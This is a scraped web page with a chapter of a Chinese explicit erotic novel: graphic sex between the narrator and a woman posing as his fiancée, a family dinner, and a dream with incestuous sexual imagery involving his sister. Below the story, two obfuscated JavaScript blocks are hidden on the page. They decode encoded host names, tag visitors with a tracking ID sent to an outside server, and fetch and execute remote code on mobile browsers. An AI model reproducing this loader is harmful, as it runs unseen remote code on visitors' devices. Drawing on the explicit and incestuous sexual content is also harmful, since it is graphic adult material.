“啊!怎么…啊啊…嗯啊啊啊!”

钻入贴身布料下的手指,在湿漉漉的肉缝中心,对着缠绕热气与湿气的柔软媚肉画圈,在柔唇的间隙中,我缓缓伸入食指。

“唔嗯嗯嗯!啊啊…”

埋进手指根部后,我配合缓急的节奏,细腻地搅动,心理准备不足的茉莉香,反射性地淫荡的摇摆身体,跟随着摩擦肉壁的手指之指挥,女体的管弦乐队演奏着一曲放荡又热情的协奏曲。

“呀!嗯!俊,俊彦,花心…也摸摸我的花心!”

脱下泳衣露出胯下后,我用双手爱抚她的股间,茉莉香湿答答的秘部,曝露在白日之下。

“快点,快抚摸我的花心,我的体内,已经热得快要溶化了!”

肉缝中已经容入两根指头,接下来我更用左手,小心翼翼地撩开成为一片湿原的秘丛,然后发现目标的肉芽,以手指灵巧地转动,这时,茉莉香的身体似有几百万伏特的电流流过,猛然向上跳动。

“啊!好棒,好舒服,俊彦!!再来!再爱抚我!”

曾在某个节目中看到过,花心对女性而言,就像是男性的钢棒,张大眼凝视这浮雕在夏日

阳下的秘部之后,我才知道原来真是如此,这覆有肌肤的小器官已勃起,而且充血,我拨开皮肤,大口一舔,再用嘴唇轻咬、吸吮、拉扯,用舌尖转动。

“亿呀,不,不行了∼被这样弄,我会受不了!”

执拗地攻击花心和秘缝之后,从激烈痉挛的柔肉间隙内外溢出大量的黏液,狂乱摇摆的腰,让我的手指几乎跟不上。

“快一点…插进来,你的肉棒…插进我的小洞…”

茉莉香摇晃着臀部,口吐卑猥的字眼,我所认为的威风且明朗快活的女大学生,到头来依然是个淫乱的女人。

当然,这并不是形象幻灭,事实上,我的男根已勃起得更加挺拔。

是时候了,我下了判断,拉出长裤中暴涨的肉棒,突入哆嗦的秘唇,湿答答的内壁,滑顺地迎入怒棒,我加进力道,一口气拧进最深处。

“啊,啊!!”

茉莉香的体内,润滑得说是融化也不为过,而且还吸进我刚猛的小弟弟,以细致的肉壁给予娇媚的洗礼,勃起而过度敏感的男根,完全成为这完美悦乐的虏囚,我陶醉于茉莉香这瓶芳醇的美酒,专心跳着喜悦的肉体之舞。

“嗯,啊!啊,啊!啊!呀,再用力,用力!好热,好烫!熔化了,要熔化了!”

苦恼般呻吟的茉莉香,几度扭动身体似想逃离,每一次肉壁和柔唇都更夹紧深埋其中的肉棒,麻

似的快感急速流过我的背筋。

我努力控制住不要爆发,激烈地刺进秘洞的最深处,热度与黏液,将我们紧密合而为一,期盼的终点,只剩下一小步。

“啊啊,啊啊!好棒∼好舒服∼要去了,要去了!啊啊啊啊!啊!射在里面,射进里面!!”

陷入疯狂的她一反昨日,要我射进体内,也许因为要攀登到最绝顶,需要共同的一体感吧,我加速抽送的节拍,向高潮的临界点冲刺。

“唔唔!要射了!!”

“唔啊,啊啊!来吧!一起,一起高潮!!”

我把全身重量压在茉莉香身上,深深地贯入,这时,终于忍耐不了的肉棒前端,气势凶猛地爆发出来。

“啊啊啊啊啊∼!俊彦∼!!”

耳中回汤着激情的狂叫,我的脑中变得一片空白。

其后,我们互相享受高潮的余韵,难为情地开始回途的准备时,已是夕阳西斜的时分。

“俊彦,我表现得怎么样?”

突来的质问,让我困扰了许久,这种事是很难用语言说明的,茉莉香看我说不出话,微笑着向我伸出手。

“没关系,算了,我们回去吧!”

我和茉莉香肩并着肩,共同踏上归途。

澄江在门口迎接我们,她在担心我们怎么还不回来吗?

“欢迎回来,马上就开饭了,请至餐厅等待!”

“嗯?谢谢!”

我率直地道谢,并非心中的隔阂消失了,而是受了茉莉香的影响,而变得对他人温柔许多。

“那么,我先去为琴美小姐准备晚餐!”

“啊,琴美的状况如何?”

澄江一说,我才想到要问琴美的情形,我也有点尴尬。

“没什么变化…”

大概也因为早上的事吧,我觉得她有什么话难以启齿,好像想说又不能说的感觉。

“如果有话想说,不妨说吧!”

“是,小姐今天一天都挂念着俊彦少爷…”

她说完后,偷偷望了茉莉香一眼,这让我不太自在。

“呃,我还要在此打扰两、三天,会再去看她的!”

“请您务必要去,那么,我先失陪了!”

澄江很快地离去,茉莉香目送她的背影后,以复杂的表情望向我。

“怎么了?”

“她讨厌我吗?”

“说什么傻话,世界上很难找得到讨厌你的人!”

这不是奉承,而是我的真心话,纵使我和茉莉香发生关系,她在我心中的形象依然是完美无缺的。

“因为,我觉得她对我很冷淡嘛!”

我这么说你高兴吗?心里期待着她的反应,但她根本没听进耳朵里去,而且还说出我想都没想到的话。

“难道,她喜欢你…”

“你太会想像了,她这个人责任感很强,大概是太过贯彻佣人的立场吧,而且加上琴美的事…”

茉莉香似乎不大接受我的说法,但因为不是什么大不了的事,于是我转换了话题。

“不管了,赶快进去吧,今天没吃午饭,饿死了!”

“是啊,我也好饿!”

这个提议马上得到茉莉香的同意,不管怎样,为了早一刻填满空腹,我们快步走入屋中。

来到餐厅一看,叔父他们已经开始用餐了,我和茉莉香为迟到道了歉后入座,这回似乎可以好好尝尝澄江的美味料理了。

“好像玩得很愉快嘛,一定饿扁了吧,快吃快吃!”

“是的,托你的福,我要开动了!”

他的意思大家心知肚明,那原本就是事实,加上肚子饿也一点没错,我适当地回答后,开始动起筷子。

“嗯,食欲不错嘛,一直等不到你们回来,我还想说如果做了便当让你们带去就好了,可是后来又想到,俊彦只要享用茉莉香这道丰盛的大菜就好了,而且茉莉香光喝俊彦的东西也就饱了!”

我几乎要喷出嘴里的菜肴,好不容易吞下去后,瞄了一下隔壁的茉莉香,她正若无其事地动着筷子,像一点事也没有,我也极力装着平静的样子。

“对了,没看到静子哪,她说了我什么吗?”

餐桌上还是不见静子的踪影,违背了要找她聊天的承诺,正不太好意思与她见面的我,这时稍微松了一口气。

“静子说去参加村里的聚会,她说明后天再找你谈谈!”

“她好像很忙哪!”

“那女人,把工作看得比家庭还重要,我们根本很少一起吃饭,不过幸亏这样,我才能悠闲地过日子!”

随后叔父还想追根究底的问我们在山泉边做了什么事,但都被我们巧妙她转移了话题,最后只能死心而开始说一连串的下流笑话。

尽管对每天非听这些话不可的晋吾和小望感到可怜,我和茉莉香还是决定先退席。

“什么嘛,本来还想找你喝点酒呢!”

我既厌烦又怕接下来会被他拿来作文章,于是毅然地拒绝。

“我们等会儿有事要做!”

“哇哈哈!失礼失礼,这件事重要多了,饭后的确应该运动一下帮助消化,快去快去!”叔父恶心地笑着放过我们。

我们回到房间后,换上了浴衣,棉被仍然只有一件,但已不在意了,茉莉香在更衣时,同样也已不介意我的存在,我与她的关系,说不定已从伪装的未婚夫妻演变为真正的男女朋友,或者这是我个人的错觉?她的心里是怎么想的呢?我想明了她的感觉,总之,心情不太畅快。

我远眺着拉开纸门乘凉的茉莉香。

草剃茉莉香,双十年华的女大学生,双亲已离开世间,家人只剩一位弟弟,利用大学放暑假的期间,一个人出外旅行,过去的男性经验,有三人,这是我所仅知的她,我想更深入了解她一点,但更想知道的,是她对我的看法。

我想起来了,她确实说过自己想到能够一个人好好思考的地方去,要思考什么呢?大学的事?家人的事?还是有关过去的男人?和她睡过的三个男人,是些什么样的家伙?其中有人现在仍在交往中吗?不会吧,以她的性格来说,有男友的话,应该不会与别的男人发生关系,也就是说,这次的旅行是所谓的失恋旅行?不管怎样,我嫉妒那些未曾谋面的家伙,因此,我下了决心要问个清楚。

“昨天,你在列车中说你要一个人静静的思考对吗?”

“暧?我说了那种话吗?”

“嗯,你说过,是什么事呢?”

“呃…没什么大不了的事…”

有意逃避似的回答,更引起我的好奇。

“喔,难道…是以前男朋友的事?”

“暧?怎么突然…?我从来没交过男朋友!”

“可是,你不是说和三个男人睡过吗?”

嫉妒心驱使我说出莽撞的话语,突然,茉莉香的表情阴沉了下来。

“那个…我不想说…”

“被甩了吗?因为失恋才来旅行吗?”

“我不想说,不想说…”

她激烈地摇头,我明知自己恶劣,嘴巴却不知收敛。

“我想多知道一些你的事,因为,我们有婚约在身…”

“那是假的,不是吗?一切都是演戏吧?”

“你和我做爱也是演戏吗?至少,我办不到,我是真心的,茉莉香,我想和你…你愿意吗?”

不知如何是好的我,紧紧拥抱茉莉香,时间静静地流过,茉莉香依然默默无语,她不愿意开口。

终于,过了仿佛隔世的四分钟后,茉莉香的朱唇微微抖动。

“我…我也不讨厌你…”

这是她最大限度的心意。

“谢谢,这样就够了!”

“抱歉…”

“没关系,睡吧!”

我们相拥入眠。

好暗…

这里,是什么地方?

风?是风声,而且,还有水声…?

对了,这里是姬御前之泉。

我,和茉莉香一起来玩,茉莉香?茉莉香在哪儿?

“啊哈哈哈哈!你看!”

笑声…满怀喜悦的笑声,我怀念的可爱笑声,是茉莉香?

眼前突然一片明亮,穿着湿透的浴衣的少女,是?

“哥哥!哥也来嘛,冰冰的,很舒服喔!”

琴美!?为什么?茉莉香会变成琴美?

“哥!怎么了?一起来玩嘛!”

这,这是…是以前的记忆?还是…梦?

“哥哥,快点,快来这边!”

啊?好,琴美,我马上去。

我面朝琴美,意识被她吸附而去,一瞬间,风景出乎意料地变化,泉水消失了,取而代之浮现的是古旧的和室,铺在榻榻米上的棉被,半裸酥胸横卧着的琴美,正凝视着我。

“唔嗯,快一点…哥,快来…”

我的意识受到恐怖的冲击,而且,被吸附过去的速度爆发似的加速,一直线朝门户大开的纯洁股间突入。

我不自觉凄厉地哀嚎。

被自己的惨叫惊吓而醒来,我冒着冷汗,几乎喘不过气。

“啊?原来是梦?可是…也太恐怖了…”

恐怖?为什么?梦中有琴美呢,不是以前的记忆吗?那么为何会觉得害怕?

不,等一下,我真的做了琴美的梦吗?好像觉得也看到茉莉香了吧?可是,我为何镇定不下来?

我用力摇头及拍打脸颊,以弄清意识,拭去混乱的影像,紧闭起眼睑,再慢慢睁开,纸门外早已是一月寂静黑暗。

再次环顾房内之后,我却发现茉莉香不知去向。去洗手间了吗?我坐在棉被上等她回来,但她始终未出现。

房间内的古董吊钟,已指向深夜三时,我越来越不安,连刚才的梦也无意义地令我焦躁。

在家中迷路其实是满可笑的,但在我家是有可能的事,因为不论是房屋面积或房间数目,都可匹敌中等规模的温泉旅馆,加上庭院面积的话更是不可小看,要去找她吗?我为自己打气后站了起来。

深夜的屋内如贪眠般,静得让人心底发毛,我从浴室和洗手间开始,往餐厅的方向寻找,却找不到她。

也许在中庭踱步吧,我这么想。走到沐浴在皎洁明月下的中庭,为水晶似的月光所包团的庭院中,夜露闪闪发着光,呈现出幻想般的安宁。

“这是我从小就看惯的景色,啊,要去找茉莉香才行…”

深深感慨后,我回到原来的目的。

和茉莉香散步时,她最感兴趣的是?

对了,是仓库,她还说搞不好有宝藏…

“仓库?宝藏?难道…”

她会说到宝藏的事,一定是电视节目带给她的影响,不可能和窥伺财产有关的,想到这儿后我稍感释然,慢慢朝仓库的方向闲晃而去。

来到仓库后也不见茉莉香的人影,我注意着黑暗的四周,提高警觉寻找。

突然,奇妙的声音传进耳中。

这是什么?我听到了什么?

简直像从地底传出的声音,我认为那是人声。

人声?到底是从哪里来的?

仓库中吗?谁在仓库里面?茉莉香?

为了确认这微弱的怪异声响,我举步走入仓库。


上一篇:浪哥情史

下一篇:大地王者5


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};